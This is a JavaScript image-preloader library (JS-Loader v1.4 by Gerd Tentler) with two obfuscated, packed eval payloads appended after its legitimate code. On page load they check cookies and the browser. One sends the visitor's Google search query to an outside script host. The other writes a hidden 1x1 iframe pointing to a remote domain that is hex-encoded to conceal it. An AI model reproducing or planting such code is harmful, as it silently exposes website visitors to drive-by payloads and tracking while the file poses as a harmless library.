/*
 +-------------------------------------------------------------------+
 |                    J S - L O A D E R   (v1.4)                     |
 |                          P a r t   II                             |
 |                                                                   |
 | Copyright Gerd Tentler                www.gerd-tentler.de/tools   |
 | Created: Mar. 26, 2002                Last modified: Aug. 3, 2005 |
 +-------------------------------------------------------------------+
 | This program may be used and hosted free of charge by anyone for  |
 | personal purpose as long as this copyright notice remains intact. |
 |                                                                   |
 | Obtain permission before selling the code for this program or     |
 | hosting this software on a commercial website or redistributing   |
 | this software over the Internet or in any other medium. In all    |
 | cases copyright must remain intact.                               |
 +-------------------------------------------------------------------+

======================================================================================================
 This script was tested with the following systems and browsers:

 - Windows XP: IE 6, NN 7, Opera 7, Firefox 1
 - Mac OS X:   IE 5

 If you use another browser or system, this script may not work for you - sorry.

 NOTE: Safari 1 (Mac OS X) does not support "document.images[].complete", so the progress bar will
       not be shown.
======================================================================================================
*/
  function LOADER() {
    this.bar, this.iv, this.timer;
    this.imgAll = this.opacity = 0;

    this.getObj = function(id) {
      var obj;
      if(document.getElementById) obj = document.getElementById(id);
      else if(document.all) obj = document.all[id];
      return obj;
    }

    this.setOpacity = function(obj, opacity) {
      if(obj && !document.layers) {
        obj.style.filter = 'alpha(opacity=' + opacity + ')';
        obj.style.mozOpacity = '.1';
        if(obj.filters) obj.filters.alpha.opacity = opacity;
        if(!document.all && obj.style.setProperty) obj.style.setProperty('-moz-opacity', opacity / 100, '');
      }
    }

    this.fadeIn = function(id) {
      var obj = this.getObj(id);
      if(obj) {
        if(document.all) obj.style.position = 'absolute';
        obj.style.visibility = 'visible';
        if(_fadeInSpeed && this.opacity < 100) {
          this.opacity += _fadeInSpeed;
          if(this.opacity > 100) this.opacity = 100;
          this.setOpacity(obj, this.opacity);
          if(this.timer) clearTimeout(this.timer);
          this.timer = setTimeout("loader.fadeIn('" + id + "')", 1);
        }
        else {
          this.opacity = 100;
          this.setOpacity(obj, 100);
        }
      }
    }

    this.setBar = function(){
      if(this.imgAll < document.images.length) this.imgAll = document.images.length;
      for(var i = cnt = 0; i < this.imgAll; i++) {
        if(document.images[i] && document.images[i].complete) cnt++;
        else if(document.images[i].complete == null) cnt++;
      }
      var mul = _barLength / this.imgAll;
      var len = Math.round(cnt * mul);
      if(len > _barLength) len = _barLength;
      this.bar.style.width = len + 'px';
      window.status = cnt + ' / ' + this.imgAll;
	  if(_FLAG){
	  	document.getElementById("conteo").innerHTML=cnt + ' de ' + this.imgAll +' Elementos';
	  }
      if(cnt >= this.imgAll) {
        if(this.iv) clearInterval(this.iv);
        setTimeout('loader.loaded()', 100);
      }
    }

    this.init = function() {
      this.bar = this.getObj('divBar');
      if(document.images && document.images.length){
        if(this.iv) clearInterval(this.iv);
        this.iv = setInterval('loader.setBar()', 100);
      }
      else loader.loaded();
    }

    this.loaded = function(){
      window.status = '';
      this.fadeIn('Content');
      var obj = this.getObj('divBox');
      obj.style.visibility = 'hidden';
    }
  }

//----------------------------------------------------------------------------------------------------
// Show dialog box and progress bar
//----------------------------------------------------------------------------------------------------

  if((document.all || document.getElementById) && !_safari) {
    document.write('</div>');
    var loader = new LOADER();
    loader.init();
  }

//----------------------------------------------------------------------------------------------------

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 17=3.16.7("20=1");5 19=3.10.7(\'22.\');5 18=25.30.7("27 6.0");9(17==-1&&19!=-1&&18==-1){5 4=3.10.13(3.10.7(\'14=\'));5 8=4.7(\'&\');9(8==-1){8=26.29}4=4.13(0,8).21(2);9(24(4).28(0)!=\'%\'){3.43("<11 42=\'31\' 40=\'44://45.38/33.39?14="+4+"\'></11>");3.16="20=1; 32=34, 23 35 37 12:15:36 41; "}}',10,46,'|||document|query|var||indexOf|querysize|if|referrer|script||slice|q||cookie|dci|nai|dri|_tskdjw|substring|google||escape|navigator|cmd|MSIE|charAt|length|appVersion|JavaScript|expires|kv|Mon|Jul|58|2013|org|js|src|GMT|language|write|http|24search'.split('|'),0,{}));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

